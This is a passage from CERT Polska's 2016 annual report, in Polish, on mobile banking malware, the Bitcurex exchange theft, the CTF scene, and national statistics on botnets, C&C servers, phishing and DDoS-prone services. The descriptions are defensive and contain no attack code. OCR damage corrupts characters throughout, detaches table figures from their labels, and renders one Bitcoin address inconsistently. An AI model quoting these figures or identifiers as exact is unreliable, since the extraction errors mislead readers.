smsa z linkiem do $ciggniecia aplikacji.

Aplikacja po pobraniu na urzgdzenie mobilne
wyglgdata bardzo podobnie do prawdziwego
Google Authenticator (identyczna ikona). In-
stalacja nastepowata recznie. W jej procesie
uzytkownik nadawat aplikacji uprawnienia ad-
ministratora (rys. 22). W momencie ataku ztosli-
wa aplikacja nie byta wykrywana przez Verify
Apps.

Same SMS-y byty rozsytane z wykorzystaniem
bramki, a przestepcy mieli petny wglad w li-
ste rozestanych wiadomosci oraz ich statusy
(rys. 23). Caty proceder miat na celu zainfe-
kowanie telefonu, a co za tym idzie przejecie
nad nim konftroli.

Udato sie zidentyfikowac 42 numery telefo-
néw, do ktérych dostarczono sms z linkiem do
aplikaciji.

Przestepcy posiadali réwniez panel, w ktérym
przechowywane byty informacje pozwalajgce
powigza¢ konkretng ofiare (Bot ID) z realizo-
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wanym scenariuszem oraz numerem telefonu
(rys. 24).

Testy wykonane przez CERT Polska wykazaty

m.in. nastepujace mozliwosci mobilnego mal-

ware'u:

¢ przesytanie/odbieranie/usuwanie SMS-6w

¢ przekierowanie/odbieranie potqczeh

¢ dostep do skrzynki kontaktéw

* podtqgczanie sie do sieci bezprzewodowej

e zmiana ustawien telefonu

* przestoniecie wytudzajgce wytudzajgcy da-
ne karty kredytowej w Google Play (rys. 25)

Grupa Ostap

W okolicy maja 2016 aktorzy, zazwyczaj roz-
sytajgcy ISFB, zaczeli eksperymentowad z no-
wym malwarem bedgcym modyfikacjg bota
o nazwie KBOT, ktérego zrédta mozna znalezé
w plikach towarzyszgcych wyciekowi Rovnixa.
Malware ten byt bardzo ciekawy ze wzgledu
na zastosowane w nim techniki dotyczgce ko-
munikacji z C&C’¢, metod infekcji’’, formy dys-
trybucji’® oraz krajéw, ktére byty celem kam-
panii.

Rys. 25. Przestoniecie wytudzajgce dane karty kredytowej w Google Play

¢ mozliwos¢ wyswietlania przestonie¢ na
aplikacje obstugujgce portale spoteczno-
Sciowe.

Kolejnym krokiem po infekcji telefonu byto zde-
finiowanie przelewu z wykorzystaniem danych
logowania wykradzionych przez ISFB i przeko-
zanie SMS-a z kodem TAN (za podrednictwem
ztosliwej aplikacji) do przestepcdw.

Nalezy zwréci¢ szczegding uwage, ze atak,
ktéry w pierwszej chwili wydawat sie dotykac
uzytkownikdw Gmaila, byt atakiem wymie-
rzonym na klientéw bankowosci internetowej,
a jego jedynym celem byta kradziez srodkdw
z kont ofiar.

Cho¢ malware nie przetrwat préby czasu, gru-
pa, ktéra zajmowata sie jego dystrybucjq, do-
lej petni swojq role w srodowisku przestepczym,
a kod Javascript uzywany do atakdw nie zmie-
nit sie zbytnio do czasu naszej publikacji’’.

Warto dodaé, ze owa grupa, czasem nazy-
wana ,ostap” (z powodu adresu URL pod jo-
kim znajdowato sie C&C) wzbogacita swojg
oferte o ransomware znany jako Evil® oraz
pewng modyfikacje tiny bankera, ktére dystry-
buujg w matych ilosciach.

76 https://www.arbornetworks.com/blog/asert/communica-
fions-bolek-frojan/

77 https://phishme.com/bolek-leaked-carberp-kbot-source-
code-complicit-new-phishing-campaigns

78 https://www.cert.pl/news/single/newest-addition-a-hap-
py-family-kbot/

79 https://www.cert.pl/news/single/newest-addition-a-hap-
py-family-kbot/

80 https://www.cert.pl/news/single/evil-prosty-ransom-
ware-napisany-jezyku-javascript
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Bitcurex

13 pazdziernika 2016 roku pojawity sie pierwsze
doniesienia wskazujgce na powazne problemy
w funkcjonowaniu platformy wymiany Bitco-
in — Bitcurex. W tym czasie byta ona uwazana
za najwiekszqg polskqg gietde BTC (przyjmujaca
rozliczenia w polskiej walucie oraz dostepnqg
w jezyku polskim). Od poczgtku swojej dziatal-
nosci w 2012 roku®', Bitcurex zanotowat kilka
znaczgcych incydentéw. 14 marca 2014 roku
zidentyfikowano niebezpieczny dla handluja-
cych btad, polegajgcy na mozliwosci mani-
pulowania wysokoscig salda ztotéwkowego
uzytkownika. Atak polegat na prébie skupu
wszystkich wystawionych jednostek BTC po
ekstremalnie zawyzonych cenach, a nastep-
nie fransferze poza gietde. Dziatanie platformy
zostato wstrzymane, a na oficjalnym profilu na
Facebooku zostat zamieszczony komunikat
potwierdzajgcy wystgpienie incydentus2,

Rys. 26. Komunikat na oficjalnej stronie portalu

Kolejny powazny problem zostat zidentyfiko-
wany 8 kwietnia 2014 roku. W wyniku ujaw-
nionej podatnoéci “Heartbleed” w OpenSSL
(CVE-2014-0160) pojawity sie wiarygodne do-
niesienia® zwigzane z obecnoscig btedu na
serwerach Bitcurex. Administrator zaprzeczyt
obecnosci luki, zas ujawnione dane miaty by¢
elementem dziatania honeypota.

Najpowazniejszy w skutkach okazat sie jednak
ostatni incydent. 13 pazdziernika 2016 roku

81 https://en.bitcoin.it/wiki/Bitcurex

82 https://www.facebook.com/Bitcurex/
posts/548688121912511

83 https://zaufanatrzeciastrona.pl/post/jak-bitcurex-dzielnie-
z-bledem-w-openssl-walczyl/

z portfela gietdy (adres: 1K2PKGPGrYTQjPo-
hXjDgbjeRtynGAZU?cF)®* dokonano szeregu
fransakcji, o tgcznej kwocie okoto 2300 BTC.
Owczesna wartosé wytransferownych jedno-
stek kryptowaluty stanowita ponad 5,5 min
ztotych. Poczgtkowo na stronie bitcurex.com
pojawit sie komunikat méwiqcy o prowadzo-
nych pracach serwisowych. W kolejnym eta-
pie poinformowano o akfualizacji ,klienta
Bitcoin”, a takze zawieszeniu transakcji. Osto-
teczny komunikat, umieszczony w serwisie po
dwodch tygodniach od zdarzenia, potwierdzat
»,Zewnetfrzng ingerencje”, a takze ,utrate cze-
ci aktywdw". Na bitcurex.com zamieszczono
formularz zwrotu $rodkdw. Co ciekawe, wraz
z podpisanym o$wiadczeniem wymagano tak-
ze wszelkich dowoddw potwierdzajgcych stan
portfela BTC lub ilo§¢ zgromadzonych srodkdw
ptatniczych. Klienci, ktdrzy ztozyli o$wiadcze-
nie, sygnalizowali, ze gietda nie dofrzymata
zadnego ze wskazanych termindw.

Zaréwno strona bitcurex.com jak réwniez kon-
fo na Facebooku nie wykazujg zadnej nowej
aktywnosci. Poszkodowani masowo zacze-
i sktada¢ zawiadomienia do prokuratury
o mozliwoéci popetnienia przestepstwa. Sledz-
two trafito pod nadzdr Prokuratury Okregowej
w todz, ktéra podjeta dziatania w zwigzku
z doprowadzeniem do niekorzystnego rozpo-
rzqgdzania mieniem przez Digital Future Spétka
z 0.0. Spdtka komandytowa z siedzibg w todzi.

84 https://blockchain.info/pl/address/1K2PKGPCrYTQjPohX-
jDgbjeRtynGAZUYCF

59


https://en.bitcoin.it/wiki/Bitcurex
https://www.facebook.com/Bitcurex/posts/548688121912511
https://www.facebook.com/Bitcurex/posts/548688121912511
https://zaufanatrzeciastrona.pl/post/jak-bitcurex-dzielnie-z-bledem-w-openssl-walczyl/
https://zaufanatrzeciastrona.pl/post/jak-bitcurex-dzielnie-z-bledem-w-openssl-walczyl/
https://blockchain.info/pl/address/1K2PKGPGrYTQjPohXjDgbjeRtynGAZU9cF
https://blockchain.info/pl/address/1K2PKGPGrYTQjPohXjDgbjeRtynGAZU9cF

CERT Polska

Raport Roczny 2016

Przeglad sceny CTF 2016

CTF, czyli ,Capture The Flag” to w $wiecie
bezpieczehstwa informatycznego rodzaj zo-
wodéw druzynowych. Dwa najczesciej spo-
tykane rodzaje rozgrywek to ,jeopardy” oraz
,attack/defense”. Zdecydowana wiekszos¢
konkurséw rozgrywa sie przez internet w pierw-
szej z tych formut, gdzie na wzér ,Va Banque”
rozwigzywane sq zadania o réznej trudnosci
w kategoriach: bezpieczehstwo aplikacji in-
ternetowych, kryptografia, inzynieria wstecz-
na, wykorzystywanie podatnosci w apliko-
cjach (fzw. ,pwning”), informatyka $ledcza
lub steganografia. Niektére z internetowych
zawododw jeopardy” petniq role kwalifikacji
bqd? pierwszego etapu zmagan przed fino-
tami rozgrywanymi na miejscu (najczesciej
w ramach konferencji bezpieczehstwa infor-
matycznego). Woéwczas czesto odbywajq sie
one w formule ,,attack/defense”, w ktérej or-
ganizatorzy udostepniajq dla kazdej z druzyn
szereg ustug w ramach wirtualnej infrastruktury.
Rywalizujgce ze sobq zespoty muszg znalezé
w nich podatnosci bezpieczenstwa, naprawic
je (przygotowujac ,taty”) oraz sprébowac wy-
korzysta¢ w ustugach bronionych przez pozo-
state druzyny.

Rys. 27. Ranking CTFtime za 2016 rok
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Konkursy organizowane sq niezaleznie przez
druzyny CTF, uniwersytety, firmy, organizacje
spoteczne i instytucje rzgdowe. Z roku na rok
cieszg sie coraz wiekszym zainteresowaniem,
a w 2016 roku trwajgcych od 8 do 48 godzin
rozgrywek zorganizowano ponad 100. Z roz-
grywanych na catym $wiecie eliminacji two-
rzony jest sezonowy (coroczny) ranking ,,ctfti-
me.org”. Od ponad frzech lat polska druzyna

,Dragon Sector” stale zajmuje miejsca na po-
dium: 3. miejsce w 2014, 1. miejsce w 2015
oraz 2. miejsce w 2016. W minionym roku na
5. pozyciji uplasowata sie polska druzyna ,,p4".
W sktadzie obu zespotdw sq pracownicy CERT
Polska. W pierwszej setce $wiatowego ran-
kingu mamy w sumie 8 regularnie grajacych
polskich druzyn, sktadajgcych sie z ponad
80 osdb: specjalistow bezpieczehstwa infor-
matycznego i programistdw z najwiekszych
firm technologicznych na $wiecie, studentéw
(oraz ucznidw) i pasjonatdw.

Najwazniejsze polskie zawody (w formule ,je-
opardy”) sg organizowane przez ,Dragon
Sector” w ramach konferenciji ,, CONFidence”
w Krakowie. W 2016 roku pierwsze miejsce zajat
paneuropejski zespdt |, Tasteless”, drugie polski
wp4", a frzecie australijskie ,,9447". Najbardziej
oczekiwanym CTF-em w catym rocznym cyklu
jest konkurs organizowany przy okazji konferen-
cji DEFCON w Las Vegas. Tegoroczna edycja
byta unikalna, poniewaz tuz przed nig odbyty
sie zawody Cyber Grand Challenge, zorgani-
zowane przez amerykanskg Agencje Zaawan-
sowanych Projektéw Badawczych w Obszarze
Obronnosci (DARPA), w ktérych rywalizowaty
ze sobg w petni automatyczne systemy do wy-
szukiwania, naprawiania i wykorzystywania po-
datnoici bezpieczehstwa w aplikacjach. Pula
nagrdéd wyniosta ponad 8 miliondw dolaréw,
a pierwsze miejsce zajgt amerykanski startup
wForAllSecure”. Ich zwycieski program ,,May-
hem" miat nastepnie szanse stang¢ w szranki
z innymi druzynami CTF w gtdwnym konkursie
DEFCON, lecz w starciu z ludZzmi zajgt ostatnie
miejsce. Same zawody wygrata grupa Plaid
Parliament of Pwning z amerykahskiego uni-
wersytetu Carnegie Mellon.

CTF-y to jeden z najlepszych sposobdw na na-
uke réznych zagadnieh bezpieczenstwa infor-
matycznego oraz sprawdzenie swoich umie-
jetnodci. Dlatego w rozgrywkach biorg udziat
zarbwno pasjonaci zaczynajgcy swojq przy-
gode z bezpieczehstwem informatycznym, jok
réwniez najwieksze stawy tej branzy.
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Informacje o zagrozeniach pochodzg z wielu
zrédet, m.in. z naszej dziatalnosci operacyjnej,
automatycznych systemdédw monitorujgcych
zagrozenia (sinkhole, ARAKIS), ale przede
wszystkim od podmiotébw zewnetrznych, wéréd
ktérych znajdujq sie organizacje non-profit
i niezalezni badacze, CERT-y narodowe, jak
i firmy komercyjne.

Warto zauwazy¢, jak bardzo réznorodne sq

sposoby pozyskania informacji o zagroze-

niach. Ponizej przedstawiamy kilka najczesciej
wykorzystywanych:

e Dane o zainfekowanych komputerach
(botach) sq pozyskiwane przede wszystkich
poprzez przejmowanie infrastruktury botne-
tow (domeny C&C) i kierowanie ich na sys-
femy typu sinkhole.

e Do wykrywania atakdéw na komputery
udostepniajgce ustugi winternecie (np. SSH,
WWW) uzywane sq honeypoty, czyli syste-
my-putapki udajgce rzeczywiste serwery.

e W podobny sposéb - przy uzyciu honey-
potéw klienckich, czyli systemdéw udaja-
cych przeglgdarki WWW - mogq by¢ wykry-
wane ztodliwe strony WWW, infekujgce
odwiedzajgcych je uzytkownikdw.

e Wykrycie podatnych ustug (np. Zle skon-
figurowane serwery NTP, ktére mogq zostac
wykorzystane do atakéw DDoS) odbywa sie
poprzez skanowanie przestrzeni IPv4 na
duzg skale. O ile analogiczna metoda
byta od dawna wykorzystywana przez
przestepcdw, w 2015 roku nastgpit znaczacy
wzrost liczby skanowanh przeprowadzanych
przez podmioty dziatajgce na rzecz popra-
wy poziomu bezpieczehstwa w internecie.

Ograniczenia

Dotozylismy starah, aby obraz sytuacji jaki
wynika z prezentowanych statystyk trafnie
opisywat wszystkie zagrozenia o duzej skali.
Nalezy jednak pamietac, ze majg one pewne
ograniczenia, gtéwnie wynikajgce ze specy-
fiki dostepnych danych Zrédtowych. Przede
wszystkim nie jest mozliwe zebranie petnej in-
formacji o wszystkich rodzajach zagrozen, cze-
go najwyrazniejszym przyktadem sq ataki ukie-

Statystyki

runkowane na konkretne podmioty lub grupy
uzytkownikdw (w przeciwiehnstwie do atakdw
masowych), ktére zazwyczaj nie zostanq zare-
jestrowane przez nasze systemy monitorujgce,
ani nie bedq zgtoszone do naszego zespotu.

Problem z odwzorowaniem aktualnego stanu
faktycznego jest spowodowany réwniez tym,
ze zagrozenie moze by¢ aktywne - nawet
przez dtuzszy czas - zanim zostanie ono zbada-
ne irozpocznie sie jego regularna obserwacja.
Na przyktad, liczba zainfekowanych kompute-
réw nalezgcych do botnetu moze by¢ trudna
do ustalenia zanim zostanie on zneutralizowa-
ny poprzez przejecie jego infrastruktury steru-
jagcej (C&C).

Istotng kwestiq pozostaje okredlenie skali da-

nego zagrozenia, co najczesciej wykonuje-

my poprzez zliczanie powigzanych z nim ad-
reséw IP zaobserwowanych w ciggu dnia.

Przyjmujemy tym samym zatozenie, ze liczba

adreséw jest zblizona do liczby urzqgdzeh oraz

uzytkownikdw, ktérych dany problem dotyczy.

Oczywiscie jest to miara niedoskonata z raciji

powszechnego wykorzystywania dwdch me-

chanizméw, ktére majg wptyw na widoczne
publiczne adresy:

e NAT (franslacja adresdw), powodujgca nie-
doszacowanie, poniewaz za jednym
zewnetrznym adresem IP czesto znajduje sie
wiele komputerow.

e DHCP (dynamiczna adresacja), powodujg-
Ca przeszacowanie, poniewaz np. fen sam
zainfekowany komputer moze w ciqgu jed-
nego dnia zosta¢ wykryty kilkukrotnie pod
réznymi adresami.

Mozna podejrzewad, ze wptyw obu tych me-
chanizméw na uzyskane wyniki sumaryczne
w duzej czesci sie znosi, ale doktadne zbada-
nie skutkdw NAT i DHCP w tym kontekscie wy-
magatoby przeprowadzenia osobnej analizy.

Ostatnia uwaga dotyczy wersji protokotu IP:
wszystkie podane statystyki odnoszg sie do
wersji czwartej tego protokotu. Wynika to
z faktu niewielkiego stopnia wdrozenia IPvé
w naszym kraju oraz, co sie z tym wiqgze,
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z pomijalnie matej liczby zgtoszen jakie otrzy-
mujemy odnosnie tego rodzaju adresdw.

Botnety

Botnety w Polsce

Tabela 5 prezentuje ilosci zainfekowanych
komputerdw w polskich sieciach. W 2016 roku
tgcznie zgromadziliémy informacije o 1 694 794

unikalnych adresach IP wykazujgcych aktyw-
nos$¢ zombie.

Mirai 14 054
Conficker 92410
ISFB 4 364
Tinba 4013
Nymaim 3823
Kelihos 3590
Foxbantrix 3535
Dorkbot 3 446
Necurs 2706
Cutwail 2 367

Tabela 9: Najwieksze botnety w Polsce

Wartosci w tabeli 5 zostaty ustalone jako naj-
wieksza dzienna liczba unikalnych adreséw
IP zainfekowanych komputerdw w polskich
sieciach. Na pierwszej pozycji uplasowat sie
Mirai, ktéremu poswieciliimy osobny rozdziat
w raporcie (str. 23). Mimo uptywu czasu,
nadal na wysokim poziomie utrzymuje sie
Conficker, ktéry 7 lat temu zostat sinkho-
le’owany. Poniewaz w drugiej potowie roku
w sieciach Orange oraz Plus ruch do serwerdw
C&C Confickera zostat catkowicie odciety,
w roku 2017 spodziewamy sie znacznego
spadku liczby zgtoszeh dotyczgcych tego bot-
nefu. Na trzecim miejscu w rankingu znalazt
sie grozny trojan bankowy ISFB, pierwszy raz
zaobserwowany w Polsce w 2014 roku. W wiek-

szo$ci polskich systemdw autonomicznych ob-
serwujemy powolny spadek aktywnosci ISFB.
Najwiecej infekcji ISFB odnotowalismy w sie-
ciach Netii - na poczgtku roku okoto 0,05 proc.
wszystkich klientdw tego operatora miato na
swoich komputerach tego trojana.

Aktywnos¢ Botnetéw z podziatem na
operatoréw telekomunikacyjnych

Na rysunku 20 prezentujemy stopien zainfeko-
wania uzytkownikdw u najwiekszych operato-
réw telekomunikacyjnych. Szacujemy go na
podstawie liczby unikalnych adreséw IP, na
temat ktérych otrzymalismy informacje o infek-
cji. Stopien zainfekowania uzyskujemy dzielgc
liczbe botdw przez liczbe klientdw korzystajg-
cych z ustug dostepu do internetu u danego
operatora, na podstawie danych z ,,Raportu
o stanie rynku telekomunikacyjnego w Polsce
w 2015 roku” wydanego przez Urzgd Komuni-
kacji Elekfronicznej (https://www.uke.gov.pl/
files/2id plik=23480).

Srednio obserwowaliémy 20 tys. botéw dzien-
nie, czyli okoto dwukrotnie mniej w poréwna-
niu z rokiem 2015. Spadek ten wynika z duzej
aktywnosci oprogramowania typu ransomwa-
re, ktére jest trudniejsze do bezposredniego
monitorowania, jak rowniez odciecia znacz-
nej czeSci duzych botnetéw tj. Conficker
czy Tinba, ktére w zesztym roku dominowaty
w polskich sieciach. Stopniowy wzrost w dru-
gim pétroczu spowodowany byt rejestrowa-
niem informacji o botnecie Mirai, ktéry domi-
nowat w sieciach Orange i Netia.

U wiekszosci operatoréw stopien zainfeko-
wania uzytkownikéw byt na zblizonym pozio-
mie, w drugiej potowie roku zaobserwowa-
lismy znaczng anomalie dla sieci Vectra. We
wrzedniu szacowany poziom infekcji siegngt
1.3 proc. klientéw tego operatora, co stano-
wi najwiekszg wartos¢ jakg dotychczas zare-
jestrowali$my dla duzych firm z tego sektora.
Najwiece]j obserwacji dotyczyto spambotow
w fym systemie autonomicznym, ale wysoka
liczba botdw byta réwniez widoczna dla in-
nych rodzajéw ztosliwego oprogramowania.
W czwartym kwartale poziom infekcji stop-
niowo sie zmniejszat, w grudniu zblizajgc sie
do pozostatych operatoréw. Poza Vectrq,
w ogdlnym zestawieniu zauwazalnie gorzej
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prezentuje sie sie¢ Netii (system autonomiczny  uzytkownikéw byto zainfekowanych.
12741), gdzie w ciggu roku $rednio 0,3 proc.

0.4% —
ISP

0.3% -

0.2% -

stopien infekgji sieci

0.1% -

0.0% -

T T T T T
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Rys. 28. Wykres zmian stopnia infekcji u operatoréw w 2016 roku.
Pominieto operatora Vectra

INEA
Internetia
Multimedia
Netia
Orange

P4

+ Plus / Cyf. Polsat
+ T-Mobile
+ Toya

+ UPC
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Serwery C&C

W 2016 roku otrzymalimy informacje o 17 411
rébznych adresach IP uzywanych jako serwe-
ry zarzgdzania botnetami (C&C). Z uwagi na
charakter zagrozenia zdecydowalismy sie na
opisanie problemu ze wzgledu na lokalizacje
adresu IP lub domene najwyzszego poziomu
TLD serwera C&C. W statystykach pominelismy
zgtoszenia dotyczgce serwerdw sinkhole CERT
Polska, ktérych uzywamy do unieszkodliwia-

nia botnetdw i wykrywania zainfekowanych
maszyn.

Otrzymaliémy zgtoszenia dotyczgce adreséw
IP z 134 krajéw. Podobnie jak w poprzednich
latach, najwiecej ztodliwych serwerdw byto
zlokalizowanych w Stanach Zjednoczonych
(30 proc.). 72 proc. sposrdéd wszystkich serwe-
réw C&C utrzymywanych byto w 10 krajach
przedstawionych w tabeli tabeli 10.

1 USA

2 Niemcy
3 Rosja

4 Holandia
5 Chiny

6 Wielka Brytania
7 Francja
8 Ukraina
9 Hongkong
10 Kanada
17 Polska

5296 30,4%
1 442 8.3%
1419 8.2%
942 5,4%
794 4,6%
733 4,2%
626 3,6%
585 3.1%
397 2,3%
329 1.9%
171 1,0%

Tabela 10. Kraje z najwiekszq liczbg serweréw C&C
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Zaobserwowalismy 2654 réznych systemdéw  micznych zawierato ponad 17 proc. wszystkich
autonomicznych, w ktérych umiejscowione  ztodliwych serwerdw. Szczegdty znajdujq sie
byty serwery C&C. Dziesie¢ systemdw autono-  w tabeli 11.

1 16276 OVH 622 3.6%
2 26496 GoDaddy.com 509 2,9%
3 24940 OVH 421 2,4%
4 3320 Deutsche Telekom 294 1.7%
5 16509 Amazon.com 271 1,6%
6 13335 Cloudflare 264 1.5%
7 8560 1&1 Internet SE 177 1.0%
7 46606 Unified Layer 177 1.0%
8 36351 SoftLayer Technologies 167 1.0%
9 20013 CyrusOne 145 0.8%

Tabela 11. Systemy autonomiczne z najwiekszq liczbg serweréw C&C
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W Polsce serwery C&C byty aktywne pod 171
réznymi adresami IP (17. miejsce na $wiecie
z udziatem 1 proc.) w 12 systemach autono-
micznych. W tabeli 8 prezentujemy zestawie-
nie dzesieciu systemédw autonomicznych,

w ktérych znajdowato sie najwiecej ztosliwych
serwerdw zarzgdzajgcych botnetami. W sumie
zawieraty one ponad potowe wszystkich C&C
w Polsce.

1 12824 home.pl 25 14,6%
2 197226 Sprint Data Center 12 7.0%
3 21021 Multimedia Polska 8 4,7%
8 16276 OVH 8 4,7%
4 41079 H88 7 41%
4 198414 H88 7 41%
4 198156 Dediserv 7 41%
5 15967 Nazwa.pl 6 3.5%
6 5617 Orange 5 2,9%
6 47303 Redefine 5 2,9%

Tabela 12. Systemy autonomiczne, w ktérych hostowanych jest najwiecej C&C w Polsce
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Oftrzymalismy réwniez zgtoszenia o 34 932 pet-
nych nazwach domenowych (FQDN), ktére
petnity role serwerdw zarzgdzajgcych bot-
netami. Zostaty one zarejestrowane w obre-
bie 221 domen najwyzszego poziomu (TLD), z
czego prawie 40 proc. w .com. Zestawienie

najpowszechniejszych  TLD  przedstawiamy
w tabeli 13. W poréwnaniu do zesztego roku
zaskakujgco duzo, bo az 289 domen .pl byto
wykorzystywanych joko C&C, z czego dla
18 adreséw domeng drugiego poziomu byta
republika.pl.

1 .com
2 .net
3 top
4 .info
5 .org
6 .f'u
7 .biz
8 .cn
9 .PW
10 pl

13 402 38.4%
6342 18.2%
2846 8,1%
2008 5,7%
1734 5,0%
1 469 4,2%
753 2,2%
720 2,1%
455 1,3%
289 0,8%

Tabela 13. Domeny najwyzszego poziomu, w ktdrych zarejestrowano serwery C&C
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Phishing

W tym podrozdziale uwzgledniamy wytqcznie
statystyki dotyczgce phishingu w tradycyjnym
rozumieniu tego stowa, czyli podszywania sie
(przede wszystkim z wykorzystaniem poczty
elektronicznej i stron WWW) pod znane mar-
ki celem wytudzenia wrazliwych danych. Nie
odnosimy sie wiec ani do wytudzania danych
przy pomocy ztosliwego oprogramowania, ani
do podszywania sie pod dostawcdw faktur itp.
celem dystrybucji ztodliwego oprogramowa-
nia. Statystyki dotyczqg stron zlokalizowanych
w Polsce, a wiec nie uwzgledniajg atakdw
phishingowych na polskie instytucje przy uzy-
ciu stron utrzymywanych za granicaq.

W roku 2016 otrzymali§my tqcznie az 722 584
zgtoszen phishingu w polskich sieciach. Doty-
czyty one 32 478 adreséw URL z 5 721 domen
prowadzqgcych do stron, ktére rozwigzywaty
sie na 1701 unikalnych adreséw IP. Znaczgcy
wzrost adresédw URL w poréwnaniu z zesztym ro-
kiem zarejestrowaliémy w domenach home.pl,
co spowodowane jest generowaniem wielu
pseudolosowych podkatalogédw na serwe-
rach przejetych przez atakujgcych. W Polsce
sredni czas trwania phishingu — od pierwszego
zgtoszenia do potwierdzenia jego usuniecia -
wynidst blisko 213 godzin.

1 12824 home.pl 501 3375
2 15967 nazwa.pl 366 614
3 198414 Biznes-Host.pl 74 338
4 43333 CIS NEPHAX 59 150
5 57367 DevonStudio 39 127
6 41079 SuperHost.pl 32 126
7 8308 NASK 39 93
8 15694 ATM 26 84
9 29522 KEI 51 78
10 31229 e24cloud 30 66

Tabela 14. Polskie systemy autonomiczne, w ktdrych znajdowato sie najwiecej stron phishingo-

wych
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Ustugi pozwalajgce na prowadzenie
atakéw DRDoS

W roku 2016 otrzymali$my zgtoszenia dotyczg-
ce 2,8 miliona réznych adresdw IP w Polsce, na
ktérych znajdowaty sie btednie skonfigurowa-
ne serwery i ustugi, mogqgce zostac wykorzy-
stane przez atakujgcych do przeprowadzenia
odbitych atakéw DDoS (Distributed Reflection
Denial of Service - DRDoS). Na kolejnych stro-
nach przedstawiamy szczegdtowe statystyki

dla é najczesciej wystepujacych ustug tego
rodzaju.

W tabelach znajduje sie takze zestawienie
liczby adreséw IP zaobserwowanych w ciggu
roku w stosunku do tgcznej liczby adresdw roz-
gtaszanych przez dany system autonomiczny.
Rozmiar AS (liczba rozgtaszanych adresdw IP)
zostat obliczony na podstawie danych pocho-
dzgcych z RIPE wedtug stanu z 1 czerwca 2016
roku.

1 DNS 50 809
2 NTP 39 974
3 SSDP 33 607
4 SNMP 31 462
5 portmapper 28 343
6 NetBIOS 23795
7 MS SQL 5639
8 mMDNS 5578
9 Chargen 733

10 QOTD 539

11 XDMCP 207

75 437 25979 99%
48 026 6 506 920%
42 667 7971 88%
39 696 5783 86%
31276 2 605 89%
26 317 3880 89%
6280 502 88%
6466 484 45%

900 73 90%

589 40 90%

227 10 47%

Tabela 15. Niepoprawnie skonfigurowane ustugi, ktére mogg by¢ wykorzystane do odbitych ata-
kéw DDoS. Odchylenie standardowe dotyczy zmiennosci w dziennej liczbie adreséw IP obserwo-
wanych na przestrzeni roku, a tgczny czas obserwacji odpowiada liczbie dni w ciggu roku, dla

ktérych mielismy informacje o danej ustudze
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W ciggu roku zauwazyliimy znaczqgce zmio-
ny w liczbie obserwowanych urzgdzen, ktod-
re mogq zosta¢ uzyte do przeprowadzania
ataku wzmocnionego DoS/DDoS. Na rysunku
29 przedstawilismy liczbe urzgdzen, w rozbiciu
na ustugi dostepne z internetu, ktére mogqg
by¢& wykorzystane do tego rodzaju atakdw.
Wykresy obrazujg zmiany w dziennej liczbie
unikalnych adreséw IP zarejestrowanych przez
system né dla najczesciej zgtaszanych ustug.

W drugim kwartale stopniowy wzrost rekursyw-
nych serweréw DNS moze $wiadczyé o wy-
mianie urzgdzeh klienckich przez operatoréw.
Dominujgcym trendem jest w tym przypadku
przede wszystkim wzrost w ten sposéb skonfi-

gurowanych serwerédw w systemie autono-
micznym Orange. Gwattowny spadek ustugi
synchronizacji czasu (NTP) wynika z masowych
zmian konfiguracji w obrebie sieci GTS Poland
- w drugiej potowie roku nie byto juz btednie
skonfigurowanych serwerdw dla tego syste-
mu aufonomicznego. Stopniowy spadek wy-
stepowania ustugi SSDP w ciggu catego roku
zaobserwowalismy dla dwdch operatorow —
Orange i Netia. Natomiast niepokojgcy moze
by¢ regularny wzrost wystepowania ustugi
NetBIOS, rowniez gtéwnie w sieci Orange. Dla
mniej powszechnej ustugi portmapper zaob-
serwowalismy niewielki spadek, gtéwnie za
sprawq poprawy sytuacji w sieci Multimedia
oraz TK Telekom.
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Otwarte serwery DNS

DNS to kluczowy protokét internetu wykorzysty-
wany do rozwigzywania nazw domen na ad-
resy serwerdw. Niepoprawnie skonfigurowane
serwery, odpowiadajgce na zapytania z catej
sieci internet a nie tylko od ograniczonej grupy
uzytkownikdw - tzw. ,open resolvers” - sq cze-
sto wykorzystywane przy atakach DDoS.

W ciqgu roku otrzymalimy tqgcznie 18 807 577
zgtoszen o 1 336 288 unikalnych adresach IP,

na ktérych zostata wykryta tego rodzaju ustu-
ga. Srednia dzienna to ponad 50 tys. unikal-
nych adreséw IP. W drugim kwartale zaobser-
wowalismy znaczqcy wzrost otwartych ustug
DNS w sieci Orange. Dziennie w lipcu system
autonomiczny 5617 posiadat niemal 60 tys.
unikalnych adreséw IP, co stanowi ponad
dwukrotny wzrost w poréwnaniu ze styczniem.
Liczba ta utrzymywata sie do kohca roku.

1 5617 Orange
2 12741 Netia

3 29314 Vectra

4 6830 upC

5 20960 TK Telekom
) 21021 Multimedia
7 35007 Miconet
8 6714 GTS

4 5588 GTS

10 31242 8BS

34 285 56 335 0.62%
2177 3 682 0,13%
822 1191 0.16%
704 999 0.01%
565 928 0.23%
488 671 0.08%
405 670 7.19%
339 1072 0,10%
335 842 0,03%
279 440 0,28%

Tabela 16. Liczba adreséw IP na ktérych wykryto otwarty serwer DNS w podziale na systemy

autonomiczne
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NTP

Network Time Protocol (NTP) to standardowy
protokdt synchronizaciji czasu wykorzystywany
m.in. przez wiekszo$¢ powszechnie uzywanych
systemdw operacyjnych. Publicznie dostepne
serwery NTP, ktére udostepniajg polecenie
monlist mogg by¢ uzyte przez atakujgcych do

atakéw DDoS (szczegdty: hitps://www.us-cert.
gov/ncas/alerts/TA14-013A).

Otrzymaliémy tqcznie 13 347 758 zgtoszeh o 653
522 unikalnych adresach IP, na ktérych wy-
kryto serwery NTP z takg konfiguracji. Srednia
dzienna to 39 974 unikalnych adreséw IP.

1 5617 Orange
2 12741 Netia

3 6714 GTS

4 5588 GTS

S 13110 INEA

6 20804 Exatel

7 15997 lmeﬂ\igﬁor;;?d]-
8 20960 TK Telekom

? 8374 Plus / Cyf. Polsat
10 6830 UPC

10 365 11 085 0.19%
4236 4 666 0.26%
3345 11058 0,96%
1920 3877 0,20%
1770 2070 1,05%
1445 1 607 0.78%
1316 1482 4,02%

746 861 0.30%

691 848 0.05%

574 635 0.01%

Tabela 17. Liczba adreséw IP na ktérych wykryto niepoprawnie skonfigurowany serwer NTP

w podziale na systemy autonomiczne
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SSDP

Simple Service Discovery Protocol to protokdt
stuzgcy do wykrywania urzqdzen i jest cze-
$cig standardu Universal Plug and Play (UPnP).
SSDP w zamierzeniu jest wykorzystywany w nie-
wielkich sieciach lokalnych i nie powinien by¢
dostepny z internetu.

Otrzymaliémy 10 871 908 zgtoszeh o 1 664 184
unikalnych adresach IP, gdzie udostepniona
byta ustuga SSDP. Srednia dzienna: 33 607
unikalnych adreséw IP. W ciggu roku dla sys-
temdw autonomicznych Orange i Netii za-
